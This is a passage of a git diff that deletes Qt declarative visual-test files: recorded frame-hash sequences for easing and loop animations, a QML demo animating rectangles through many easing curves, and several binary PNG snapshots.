hash: "094fcc18d28b19ac6b452dd8106d813b" - } - Frame { - msec: 880 - hash: "160105f6f99a960763535e4d51990ef6" - } - Frame { - msec: 896 - hash: "0d5d1e6a66fc1f49f1106f01fb5a1c52" - } - Frame { - msec: 912 - hash: "f6abc32680865783a4d94ecb738f9ff6" - } - Frame { - msec: 928 - hash: "350509eceb134d5b18647e5ad07dbb47" - } - Frame { - msec: 944 - hash: "a84e4e7c5385dc1f24ca219f45d529a5" - } - Frame { - msec: 960 - image: "easing.0.png" - } - Frame { - msec: 976 - hash: "efcc5ae79da3fa2f4c7d6eaa35e32d33" - } - Frame { - msec: 992 - hash: "ff4afce604c8ecb4f08d1ddef8552534" - } - Frame { - msec: 1008 - hash: "e2e63e12e9a5f8459720dd8b023ed17b" - } - Frame { - msec: 1024 - hash: "991a01f92bcfa9cd9fe98e3f39d192fc" - } - Frame { - msec: 1040 - hash: "bc3d2f0f3fac650c981457f3694c2518" - } - Frame { - msec: 1056 - hash: "ee39fc9b1a602bf813d9118aa21901ac" - } - Frame { - msec: 1072 - hash: "42120d098f2adf1e331332b33442dd3e" - } - Frame { - msec: 1088 - hash: "1660c69b77b800d1ab57b93f0fc12aa5" - } - Frame { - msec: 1104 - hash: "0630a3d6b8cb5dece5dc660f05036ec6" - } - Frame { - msec: 1120 - hash: "9163f0bd9c5888794d7a09d3359bf1e5" - } - Frame { - msec: 1136 - hash: "e0b7ad4883f679948c852ff152ba7907" - } - Frame { - msec: 1152 - hash: "f748fc44f99b706e42b899cb18dbaaf7" - } - Frame { - msec: 1168 - hash: "c84442f0cb1cf0bb50dae7d1c701aaf8" - } - Frame { - msec: 1184 - hash: "d7b41567e3f3aa9576fe2793872134b7" - } - Frame { - msec: 1200 - hash: "a1d10ff1adb85000902486fc8e4faa8d" - } - Frame { - msec: 1216 - hash: "44b7b5d77068e360ead3af84e7d80232" - } - Frame { - msec: 1232 - hash: "486c0b19c1379d9eefdf575a085e2875" - } - Frame { - msec: 1248 - hash: "1d474472856d4740d960eb2f788ca5a6" - } - Frame { - msec: 1264 - hash: "c74082553ab0f4ee00f5044e3369580b" - } - Frame { - msec: 1280 - hash: "89fcd5514f336075ad32cae69518c1e5" - } - Frame { - msec: 1296 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1312 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1328 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1344 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1360 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1376 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1392 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1408 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1424 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1440 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1456 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1472 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1488 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1504 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1520 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1536 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1552 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1568 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1584 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1600 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 111; y: 419 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1616 - hash: "9dd235eb98998d9bdd92e01300297257" - } - Frame { - msec: 1632 - hash: "b77240f32e83d4f332d815c626f1e560" - } - Frame { - msec: 1648 - hash: "7d89669231224cf8e02d75338c37c278" - } - Frame { - msec: 1664 - hash: "a8cf7c179011ee8187a8e1111683e52e" - } - Frame { - msec: 1680 - hash: "3e87a57e05da09a8260801320431b922" - } - Frame { - msec: 1696 - hash: "a2b0d99c8a232715fe03e8772a36634c" - } - Frame { - msec: 1712 - hash: "5b4634cd495ae7bb9c69a5c9c346189e" - } - Frame { - msec: 1728 - hash: "492f8f2b84af355ef41c1a7cda3a8a73" - } - Frame { - msec: 1744 - hash: "88e4eb08520fb5acc3d88ac4f0900542" - } - Frame { - msec: 1760 - hash: "0c09cdcb906b4ce9840fd7502c39e5b9" - } - Frame { - msec: 1776 - hash: "b054083bdd212cc03167a90df2d7eac5" - } - Frame { - msec: 1792 - hash: "83971c2d37616ab92680364d6ac288a6" - } - Frame { - msec: 1808 - hash: "a73951d25e2cb7c1d04c88c86dfa0e4d" - } - Frame { - msec: 1824 - hash: "31fc8b20302abac97e506c37a14bbb7e" - } - Frame { - msec: 1840 - hash: "f760ccd7339e01a9423da7b592498291" - } - Frame { - msec: 1856 - hash: "24dfcd5553f854908396de751fb15b88" - } - Frame { - msec: 1872 - hash: "1daf38a6e6199f980e9494a3eb480047" - } - Frame { - msec: 1888 - hash: "a39e2de1090209e5dbc8cc26577ec97d" - } - Frame { - msec: 1904 - hash: "f4edc780b063e34461263ed3b753be88" - } - Frame { - msec: 1920 - image: "easing.1.png" - } - Frame { - msec: 1936 - hash: "a19b0353604491f56f72be0d20d76955" - } - Frame { - msec: 1952 - hash: "9a70f109eebfcede2311ef77ceb50a44" - } - Frame { - msec: 1968 - hash: "7b28313d6860aeefd4a4e136d38d62f8" - } - Frame { - msec: 1984 - hash: "95d84f38473159fe6b38f84ffe371714" - } - Frame { - msec: 2000 - hash: "07f91261794edb0ac1fde9bb4ff36011" - } - Frame { - msec: 2016 - hash: "f9a4a6b92a9c2d265688f1bfac18fa0a" - } - Frame { - msec: 2032 - hash: "cdec7cc00380fde4f73be997a992251a" - } - Frame { - msec: 2048 - hash: "a52b34f84e98fcd8babb1d39979fc9c7" - } - Frame { - msec: 2064 - hash: "bf05b3c79a9616f2e6c33d348b30e0ba" - } - Frame { - msec: 2080 - hash: "c5931785685b4f4854d3ddfff5dd5466" - } - Frame { - msec: 2096 - hash: "bae163e02b860a9ca19d1bcb60ac1f8e" - } - Frame { - msec: 2112 - hash: "a36295a1ebb35e538f8899ae3ae3b36a" - } - Frame { - msec: 2128 - hash: "b6448d61803d9b2c05b438aa8ce8bcd5" - } - Frame { - msec: 2144 - hash: "631bf4caff2d93ef96a426100ffc5b32" - } - Frame { - msec: 2160 - hash: "a8777c84a03996493f719f5fcfc80d00" - } - Frame { - msec: 2176 - hash: "86e1759df103ef776bb03f24941f49da" - } - Frame { - msec: 2192 - hash: "01a790ea60adeaf368c66bd53aa8fcb3" - } - Frame { - msec: 2208 - hash: "79e5aca8ef6b9764f7f99cdfb51222ae" - } - Frame { - msec: 2224 - hash: "82d10cc01b9be4683c5aa76096bd462c" - } - Frame { - msec: 2240 - hash: "95d961a92c597e432611947f7480796a" - } - Frame { - msec: 2256 - hash: "e8ee89b5313c7e2c66741fe1c2090029" - } - Frame { - msec: 2272 - hash: "2e3e8cf25dc1a3f09e7bf2a086f8e3bb" - } - Frame { - msec: 2288 - hash: "68ca8ad381f48db23d2bc5da9da0c17a" - } - Frame { - msec: 2304 - hash: "e29f2411667049e8fae6c080f61c5869" - } - Frame { - msec: 2320 - hash: "5b0a6fadedf3024e8ecb7f2c73a2277d" - } - Frame { - msec: 2336 - hash: "af2eac625ef1fd928093ccd60bc0058e" - } - Frame { - msec: 2352 - hash: "8a1ff780ebdc9e416e60ea0940e8f2d6" - } - Frame { - msec: 2368 - hash: "7eb316c51cfd8ad972b7040247a651eb" - } - Frame { - msec: 2384 - hash: "1bac7075c10c87a69e71c3859f0db41d" - } - Frame { - msec: 2400 - hash: "0f16f40567729065cf9ecfcc15395a7b" - } - Frame { - msec: 2416 - hash: "719f4e776776f0db5c68ae7c6177e9b7" - } - Frame { - msec: 2432 - hash: "75172dbf31fd8d706f54748c59099845" - } - Frame { - msec: 2448 - hash: "d730b550e05167b05350e0e6636dd97d" - } - Frame { - msec: 2464 - hash: "e1f33eb5f023d9d42a99f8bc23223c45" - } - Frame { - msec: 2480 - hash: "8a4b0df5bed6c7be73c194ce2bb6a271" - } - Frame { - msec: 2496 - hash: "44a9ea371f12d4ac3a569121a995ae16" - } - Frame { - msec: 2512 - hash: "14747e2e9e072210b9d6db50b4f704a1" - } - Frame { - msec: 2528 - hash: "eea52abf430f8cc1adc37e7180036584" - } - Frame { - msec: 2544 - hash: "0a9f6b14bc02e929a45bf4ebb736f9d3" - } - Frame { - msec: 2560 - hash: "a68a6eef0fc8754564c47c88b60d9a2a" - } - Frame { - msec: 2576 - hash: "eeb469e2fbda131d83538055e88ecdf7" - } - Frame { - msec: 2592 - hash: "0f7b673472050e807c9d935fde5afd83" - } - Frame { - msec: 2608 - hash: "80c90cce66bdd2324ca98bc591c22b44" - } - Frame { - msec: 2624 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2640 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2656 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2672 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2688 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2704 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2720 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2736 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2752 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2768 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2784 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2800 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2816 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2832 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2848 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2864 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2880 - image: "easing.2.png" - } - Frame { - msec: 2896 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2912 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2928 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2944 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2960 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2976 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 2992 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 3008 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } - Frame { - msec: 3024 - hash: "bb8e2ba14526dc5ad74f74e8ff3d96a5" - } -} diff --git a/tests/auto/declarative/visual/animation/easing/easing.qml b/tests/auto/declarative/visual/animation/easing/easing.qml deleted file mode 100644 index 4248d88..0000000 --- a/tests/auto/declarative/visual/animation/easing/easing.qml +++ /dev/null @@ -1,193 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: item - width: 600 - height: layout.height - color: "white" - resources: [ - ListModel { - id: easingtypes - ListElement { - type: "Linear" - } - ListElement { - type: "InQuad" - } - ListElement { - type: "OutQuad" - } - ListElement { - type: "InOutQuad" - } - ListElement { - type: "OutInQuad" - } - ListElement { - type: "InCubic" - } - ListElement { - type: "OutCubic" - } - ListElement { - type: "InOutCubic" - } - ListElement { - type: "OutInCubic" - } - ListElement { - type: "InQuart" - } - ListElement { - type: "OutQuart" - } - ListElement { - type: "InOutQuart" - } - ListElement { - type: "OutInQuart" - } - ListElement { - type: "InQuint" - } - ListElement { - type: "OutQuint" - } - ListElement { - type: "InOutQuint" - } - ListElement { - type: "OutInQuint" - } - ListElement { - type: "InSine" - } - ListElement { - type: "OutSine" - } - ListElement { - type: "InOutSine" - } - ListElement { - type: "OutInSine" - } - ListElement { - type: "InExpo" - } - ListElement { - type: "OutExpo" - } - ListElement { - type: "InOutExpo" - } - ListElement { - type: "OutInExpo" - } - ListElement { - type: "InCirc" - } - ListElement { - type: "OutCirc" - } - ListElement { - type: "InOutCirc" - } - ListElement { - type: "OutInCirc" - } - ListElement { - type: "InElastic" - } - ListElement { - type: "OutElastic" - } - ListElement { - type: "InOutElastic" - } - ListElement { - type: "OutInElastic" - } - ListElement { - type: "InBack" - } - ListElement { - type: "OutBack" - } - ListElement { - type: "InOutBack" - } - ListElement { - type: "OutInBack" - } - ListElement { - type: "OutBounce" - } - ListElement { - type: "InBounce" - } - ListElement { - type: "InOutBounce" - } - ListElement { - type: "OutInBounce" - } - } - ] - Column { - id: layout - anchors.left: item.left - anchors.right: item.right - Repeater { - model: easingtypes - Component { - Rectangle { - id: block - Text { - text: type - anchors.centerIn: parent - font.italic: true - color: index & 1 ? "black" : "white" - opacity: 0 // 1 for debugging - } - width: 120 - height: 18 - color: index & 1 ? "red" : "blue" - states: [ - State { - name: "from" - when: !mouse.pressed - PropertyChanges { - target: block - x: 0 - } - }, - State { - name: "to" - when: mouse.pressed - PropertyChanges { - target: block - x: item.width-block.width - } - } - ] - transitions: [ - Transition { - from: "*" - to: "to" - reversible: true - NumberAnimation { - properties: "x" - easing.type: type - duration: 1000 - } - } - ] - } - } - } - } - MouseArea { - id: mouse - anchors.fill: layout - } -} diff --git a/tests/auto/declarative/visual/animation/easing/pics/qtlogo.png b/tests/auto/declarative/visual/animation/easing/pics/qtlogo.png deleted file mode 100644 index 399bd0b..0000000 Binary files a/tests/auto/declarative/visual/animation/easing/pics/qtlogo.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/loop/data/loop.0.png b/tests/auto/declarative/visual/animation/loop/data/loop.0.png deleted file mode 100644 index f4301d3..0000000 Binary files a/tests/auto/declarative/visual/animation/loop/data/loop.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/loop/data/loop.1.png b/tests/auto/declarative/visual/animation/loop/data/loop.1.png deleted file mode 100644 index ceb0e20..0000000 Binary files a/tests/auto/declarative/visual/animation/loop/data/loop.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/loop/data/loop.2.png b/tests/auto/declarative/visual/animation/loop/data/loop.2.png deleted file mode 100644 index 197c8c0..0000000 Binary files a/tests/auto/declarative/visual/animation/loop/data/loop.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/loop/data/loop.3.png b/tests/auto/declarative/visual/animation/loop/data/loop.3.png deleted file mode 100644 index 3a4327e..0000000 Binary files a/tests/auto/declarative/visual/animation/loop/data/loop.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/loop/data/loop.4.png b/tests/auto/declarative/visual/animation/loop/data/loop.4.png deleted file mode 100644 index 2397719..0000000 Binary files a/tests/auto/declarative/visual/animation/loop/data/loop.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/loop/data/loop.5.png b/tests/auto/declarative/visual/animation/loop/data/loop.5.png deleted file mode 100644 index 70d91a2..0000000 Binary files a/tests/auto/declarative/visual/animation/loop/data/loop.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/loop/data/loop.qml b/tests/auto/declarative/visual/animation/loop/data/loop.qml deleted file mode 100644 index 8804d44..0000000 --- a/tests/auto/declarative/visual/animation/loop/data/loop.qml +++ /dev/null @@ -1,1471 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "eff7cc4b163dceb6084270cc589393f1" - } - Frame { - msec: 32 - hash: "1012b52727ae98522061945e32a6269a" - } - Frame { - msec: 48 - hash: "06c3f3c1fa014b0eb7341e0a45ca16e4" - } - Frame { - msec: 64 - hash: "71ecb0af25649c056310d3b865d4144d" - } - Frame { - msec: 80 - hash: "e249fe5b113797433f96a2f84d47e42b" - } - Frame { - msec: 96 - hash: "2a7256921c25c79c22263f2b48d4e98c" - } - Frame { - msec: 112 - hash: "8657944b456402622f2991a0c9acc2fb" - } - Frame { - msec: 128 - hash: "c919a94cd7afb1fbad4c88537af00869" - } - Frame { - msec: 144 - hash: "303b5057d94e328f9447a01d54eea93d" - } - Frame { - msec: 160 - hash: "72eb974dc008c9454935b18b47d4d9e6" - } - Frame { - msec: 176 - hash: "545f258cb0ec7f5d951b74cc7d3f4f0d" - } - Frame { - msec: 192 - hash: "3b3d6046fb01adf7c8a7f67bbc46d28e" - } - Frame { - msec: 208 - hash: "12f7556076cf7a4c2f029dab80e666e7" - } - Frame { - msec: 224 - hash: "fab272c7dce2bbee4042764d38c7ceb5" - } - Frame { - msec: 240 - hash: "ff8addee408527bbaed1819bae07c23f" - } - Frame { - msec: 256 - hash: "53eb6f575db2af3635139e5ddbd7b2f9" - } - Frame { - msec: 272 - hash: "a2fa1cf169acb8ff26a2c5ec1f1d5c81" - } - Frame { - msec: 288 - hash: "ab8d5d6d146ed11b92bc93e78f28e50c" - } - Frame { - msec: 304 - hash: "0fbfc6609b082008e44592067b18ab63" - } - Frame { - msec: 320 - hash: "7fbeda19c19c62a0af5f7f98e633993f" - } - Frame { - msec: 336 - hash: "1882b591bc9d4e79d69d0baecb78b700" - } - Frame { - msec: 352 - hash: "dde429007f876206f3ec0c68d239983e" - } - Frame { - msec: 368 - hash: "b656bdba2978a9a1af511cc2bb0cb59a" - } - Frame { - msec: 384 - hash: "1f6573bf67b2893c94f0c2d40213dc73" - } - Frame { - msec: 400 - hash: "f5786fb532300a1b2f820251fc17c775" - } - Frame { - msec: 416 - hash: "a0e9c4bd3b6c4cdadd40bdf3ca5e2986" - } - Frame { - msec: 432 - hash: "073f74ab23a1173025b3c63424ce2697" - } - Frame { - msec: 448 - hash: "1ac1367d21e346c6c652a88b9ea25bfc" - } - Frame { - msec: 464 - hash: "f62720308dc9ae67c3856bc3afb32b75" - } - Frame { - msec: 480 - hash: "066476a57efba802d2497bc3731a3583" - } - Frame { - msec: 496 - hash: "fb965028a760e8d0a4d81fd982a18ff3" - } - Frame { - msec: 512 - hash: "ba008abd1a7a73c750b909d57c043649" - } - Frame { - msec: 528 - hash: "4c974470953f74d1ee7bcd0f4a4c48cf" - } - Frame { - msec: 544 - hash: "ea233f3476da26c90d67b7775b718aa2" - } - Frame { - msec: 560 - hash: "e12c3b810c0aa628d7a3827453bea9f3" - } - Frame { - msec: 576 - hash: "7451954ca0465c430fc4bae84f6d97cb" - } - Frame { - msec: 592 - hash: "503e40f193a8b099daa4013eddc2f664" - } - Frame { - msec: 608 - hash: "1f81acf94f325a51faa7aa61e73f8a25" - } - Frame { - msec: 624 - hash: "0257d7d53eda8afe182a9f97ef451679" - } - Frame { - msec: 640 - hash: "cfc260bdc977ef16311840022cc85378" - } - Frame { - msec: 656 - hash: "27483f0b89d727b32722ea153fad30ad" - } - Frame { - msec: 672 - hash: "355afa11b8e7b24a353d1aa79daf7564" - } - Frame { - msec: 688 - hash: "bbc1d55f346719476f471a2294227bda" - } - Frame { - msec: 704 - hash: "9bbab5ff75219d8bd65022c6d061e57a" - } - Frame { - msec: 720 - hash: "ff0699f02845f3c5cf5aabb19198c346" - } - Frame { - msec: 736 - hash: "26768e09270ade4c5b484154e7042f43" - } - Frame { - msec: 752 - hash: "31c9ae63071de3fb2f7e1836a22515cb" - } - Frame { - msec: 768 - hash: "783ce2acdae8d87883151532c9293336" - } - Frame { - msec: 784 - hash: "86b9fd739f437127e0cc4d7dcd4284bd" - } - Frame { - msec: 800 - hash: "5e1d6e164dd184cc197d514e5ff60a4c" - } - Frame { - msec: 816 - hash: "13063a8d73704165d64dd2a95803ec0f" - } - Frame { - msec: 832 - hash: "c244e0c0d60f4be2e017bba21a17ab3f" - } - Frame { - msec: 848 - hash: "b3bd657873f1b49c888b9b98d8c0e23f" - } - Frame { - msec: 864 - hash: "65a011e4f62ecddd820bdbdeb0084b65" - } - Frame { - msec: 880 - hash: "86018de7b4a93b267fe94c4de9e61bab" - } - Frame { - msec: 896 - hash: "44827055c99ae3ed924c101c9d1be5c5" - } - Frame { - msec: 912 - hash: "1c31fcb20ec1abc7ea815b703ae05363" - } - Frame { - msec: 928 - hash: "9d7825b7b05ca696846a4116ab27f966" - } - Frame { - msec: 944 - hash: "61b6690dd14fc76dbac4d785bbddb8ee" - } - Frame { - msec: 960 - image: "loop.0.png" - } - Frame { - msec: 976 - hash: "2cc40e1119060483ae067f3881af0391" - } - Frame { - msec: 992 - hash: "9747fdff3429f7a2dbc9e3173ad43a67" - } - Frame { - msec: 1008 - hash: "e68058b9565138f2d7f0f96b74c38dec" - } - Frame { - msec: 1024 - hash: "f32aceabb929471dffd73bf0290e75a2" - } - Frame { - msec: 1040 - hash: "9112838cc8f9a0cfb94e0ef6ca7eca71" - } - Frame { - msec: 1056 - hash: "53bd2c46e3a11db0ee151a6a0311b3a8" - } - Frame { - msec: 1072 - hash: "d5105f958a592324e53aae4a83beb049" - } - Frame { - msec: 1088 - hash: "862249432e6fc6114b63284ad9c97cb6" - } - Frame { - msec: 1104 - hash: "3e6a6f505aa146a6789434d265ad4d3b" - } - Frame { - msec: 1120 - hash: "0f5b2b05f72b86bd2b0a6d0ea2b6bf37" - } - Frame { - msec: 1136 - hash: "922520f7ec954d6d1061208cbd63877e" - } - Frame { - msec: 1152 - hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" - } - Frame { - msec: 1168 - hash: "ebb41112b687ecb062dedc3b49cb93fc" - } - Frame { - msec: 1184 - hash: "7bc87d71d532aa52abc26ac9c1cbb665" - } - Frame { - msec: 1200 - hash: "1a7a81f851c8817cac3cc0cb7ac07971" - } - Frame { - msec: 1216 - hash: "ca17c870c55f2947bb5f85d28f30ee7c" - } - Frame { - msec: 1232 - hash: "48b123cfd6d2ea1c2bc9f2ba822ec7bf" - } - Frame { - msec: 1248 - hash: "2a6b8aecef26793e200993dc1e25fd95" - } - Frame { - msec: 1264 - hash: "f10a0a11ed54a910fe434311f67343a4" - } - Frame { - msec: 1280 - hash: "47b6e1beabdcd3cd3d21d77c62e5bed8" - } - Frame { - msec: 1296 - hash: "1eea7eb2853a9e7a1a69738667457b7a" - } - Frame { - msec: 1312 - hash: "9e018f9e7a5ba22bbb9be3049373124a" - } - Frame { - msec: 1328 - hash: "d63069a8e7b0eb5611cc34caaecef2fb" - } - Frame { - msec: 1344 - hash: "def9383a090e4454343725f1a7c4fb3d" - } - Frame { - msec: 1360 - hash: "fd3036e559fd31eeadb0032666a95864" - } - Frame { - msec: 1376 - hash: "cf9f82b9e2a03f63f75b6ac113b3d4e5" - } - Frame { - msec: 1392 - hash: "346e7f597cfb4fc51d5393e705deddd5" - } - Frame { - msec: 1408 - hash: "0d6d6cb2ca808f5a57acfa32e10fc335" - } - Frame { - msec: 1424 - hash: "9a660a0fed41211a37d3ac82be40f81a" - } - Frame { - msec: 1440 - hash: "df3fd60ecbd517879e00e8112c49bed4" - } - Frame { - msec: 1456 - hash: "cd86fe5894e5d061f7ffe37913f00ce6" - } - Frame { - msec: 1472 - hash: "a5fdb825c18d43f3ae18f5c28e715174" - } - Frame { - msec: 1488 - hash: "0fdfb5f9463def560da6c19acf96bafb" - } - Frame { - msec: 1504 - hash: "8849a36af064503dbccad69a35b6ab03" - } - Frame { - msec: 1520 - hash: "baeb4f90b0e2efc09225dbb5dd003e9e" - } - Frame { - msec: 1536 - hash: "86922e71c80976ef3aa2cab18f86c010" - } - Frame { - msec: 1552 - hash: "10d166d7da9949370a66251415522186" - } - Frame { - msec: 1568 - hash: "ada1608055b221dc9f1f7650a9764930" - } - Frame { - msec: 1584 - hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" - } - Frame { - msec: 1600 - hash: "dc4a1c44d08328965b53ff079a8fa57b" - } - Frame { - msec: 1616 - hash: "d3d88cf635ba38e5035732cb36014417" - } - Frame { - msec: 1632 - hash: "be5e44f6b9978ba3b9ae878ae5758a96" - } - Frame { - msec: 1648 - hash: "34f193daf199ab45310be2b407499e57" - } - Frame { - msec: 1664 - hash: "d87c854e1c16642dba0d87e25f0e416f" - } - Frame { - msec: 1680 - hash: "08c404f4efd27695071ad52fbfa57c0b" - } - Frame { - msec: 1696 - hash: "84828f8e0cace1a39d9b7f19b6e4cbaa" - } - Frame { - msec: 1712 - hash: "8a0c6e1f597e699c3e2be816ae4e1dd4" - } - Frame { - msec: 1728 - hash: "9aecb0c464fb140725f34ad94ede367a" - } - Frame { - msec: 1744 - hash: "a298b3ab2939819ced7e7f903ec63be4" - } - Frame { - msec: 1760 - hash: "99789b6e168355a3960986c7d1f21f82" - } - Frame { - msec: 1776 - hash: "ebd37ee719ca460480521fd4ec284a3f" - } - Frame { - msec: 1792 - hash: "9c9b3fb5b623d3deaf9920c99279d71b" - } - Frame { - msec: 1808 - hash: "8f0be6d4d6fd7f66a43fd604e17717dd" - } - Frame { - msec: 1824 - hash: "854defd35cf3315e4501583756814ff6" - } - Frame { - msec: 1840 - hash: "fd7157aef6dfb303472cd33b176f91d8" - } - Frame { - msec: 1856 - hash: "e6521a3c74c190c193af2c913e5326e2" - } - Frame { - msec: 1872 - hash: "19862dcb88fcbbb2c4ecdc42821c7fef" - } - Frame { - msec: 1888 - hash: "5e29a9f9c6c4131c5b71f84d24503ad2" - } - Frame { - msec: 1904 - hash: "140e63c071ef77d26034d0bb6a5d5b7a" - } - Frame { - msec: 1920 - image: "loop.1.png" - } - Frame { - msec: 1936 - hash: "7f79dd50a0af8e8871191ee80afcad0f" - } - Frame { - msec: 1952 - hash: "a5eb3334044999f56c759ce8727d627f" - } - Frame { - msec: 1968 - hash: "3fb70a7591b6decfa44f7cad18f73855" - } - Frame { - msec: 1984 - hash: "3fab99be73f7f12b9463dea359fc86d2" - } - Frame { - msec: 2000 - hash: "50ce6b869e42c949b84cf2dd0cca3af9" - } - Frame { - msec: 2016 - hash: "5369125b23e2f954c18f2fd4e0ba6f6a" - } - Frame { - msec: 2032 - hash: "a76f624be0db97ec4450b10f748065df" - } - Frame { - msec: 2048 - hash: "3fb70a7591b6decfa44f7cad18f73855" - } - Frame { - msec: 2064 - hash: "dada267799b6e57acfcc5de3b8822c7c" - } - Frame { - msec: 2080 - hash: "72c0bf8225504e86ff023242b84513a8" - } - Frame { - msec: 2096 - hash: "1e8b095c39bd359637b1b9c975ee514c" - } - Frame { - msec: 2112 - hash: "19862dcb88fcbbb2c4ecdc42821c7fef" - } - Frame { - msec: 2128 - hash: "60c95993a894e1c6e2d476db365b7746" - } - Frame { - msec: 2144 - hash: "854defd35cf3315e4501583756814ff6" - } - Frame { - msec: 2160 - hash: "15e8959bfa4d206b2f0607322b21cba6" - } - Frame { - msec: 2176 - hash: "ebd37ee719ca460480521fd4ec284a3f" - } - Frame { - msec: 2192 - hash: "6d278926822d044fff04c3f182dcb058" - } - Frame { - msec: 2208 - hash: "9aecb0c464fb140725f34ad94ede367a" - } - Frame { - msec: 2224 - hash: "b36f70f138e6deecf5b105bcd89d1a15" - } - Frame { - msec: 2240 - hash: "08c404f4efd27695071ad52fbfa57c0b" - } - Frame { - msec: 2256 - hash: "6469d0bee7ab280639b565ebf174f251" - } - Frame { - msec: 2272 - hash: "be5e44f6b9978ba3b9ae878ae5758a96" - } - Frame { - msec: 2288 - hash: "5214e578bc78b729ddf35c140093c0da" - } - Frame { - msec: 2304 - hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" - } - Frame { - msec: 2320 - hash: "2ddf31aeac4815be56848703a9b5aa14" - } - Frame { - msec: 2336 - hash: "86922e71c80976ef3aa2cab18f86c010" - } - Frame { - msec: 2352 - hash: "d8415ba4fb19b62b838ef2e09ae7607a" - } - Frame { - msec: 2368 - hash: "0fdfb5f9463def560da6c19acf96bafb" - } - Frame { - msec: 2384 - hash: "68fac60713af7cb130e92fa381be411c" - } - Frame { - msec: 2400 - hash: "df3fd60ecbd517879e00e8112c49bed4" - } - Frame { - msec: 2416 - hash: "64e49282d97ba864d2f6be632ae048e4" - } - Frame { - msec: 2432 - hash: "346e7f597cfb4fc51d5393e705deddd5" - } - Frame { - msec: 2448 - hash: "f302a9ce45187ff1001c967a4c753b2b" - } - Frame { - msec: 2464 - hash: "def9383a090e4454343725f1a7c4fb3d" - } - Frame { - msec: 2480 - hash: "fd177a7ae3b5b9205fd38e955be327e0" - } - Frame { - msec: 2496 - hash: "1eea7eb2853a9e7a1a69738667457b7a" - } - Frame { - msec: 2512 - hash: "32b16dd62ccf06e44be38fd5885f297e" - } - Frame { - msec: 2528 - hash: "2a6b8aecef26793e200993dc1e25fd95" - } - Frame { - msec: 2544 - hash: "8637606843905d6ae3f95fcb745f2a6e" - } - Frame { - msec: 2560 - hash: "1a7a81f851c8817cac3cc0cb7ac07971" - } - Frame { - msec: 2576 - hash: "704ca30ddc0a637f3d1cd4926a6f7983" - } - Frame { - msec: 2592 - hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" - } - Frame { - msec: 2608 - hash: "7759418b4fe412857ab8e7294f5a3206" - } - Frame { - msec: 2624 - hash: 